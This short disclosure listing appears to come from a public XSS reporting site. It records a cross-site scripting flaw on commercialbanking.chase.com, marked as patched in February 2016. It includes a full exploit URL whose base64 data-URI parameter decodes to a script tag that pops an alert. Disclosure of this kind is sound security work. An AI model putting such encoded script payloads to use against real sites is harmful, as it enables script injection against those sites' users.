commercialbanking.chase.com XSS vulnerability

Vulnerable URL: http://commercialbanking.chase.com/etrack.ashx?M=1725.7b601f6c-c54d-456a-b31b-364c5c501873=29102=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTUE9TRUQvKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| Yes, at 05.02.2016 Latest check for patch:| 05.02.2016 12:07 GMT...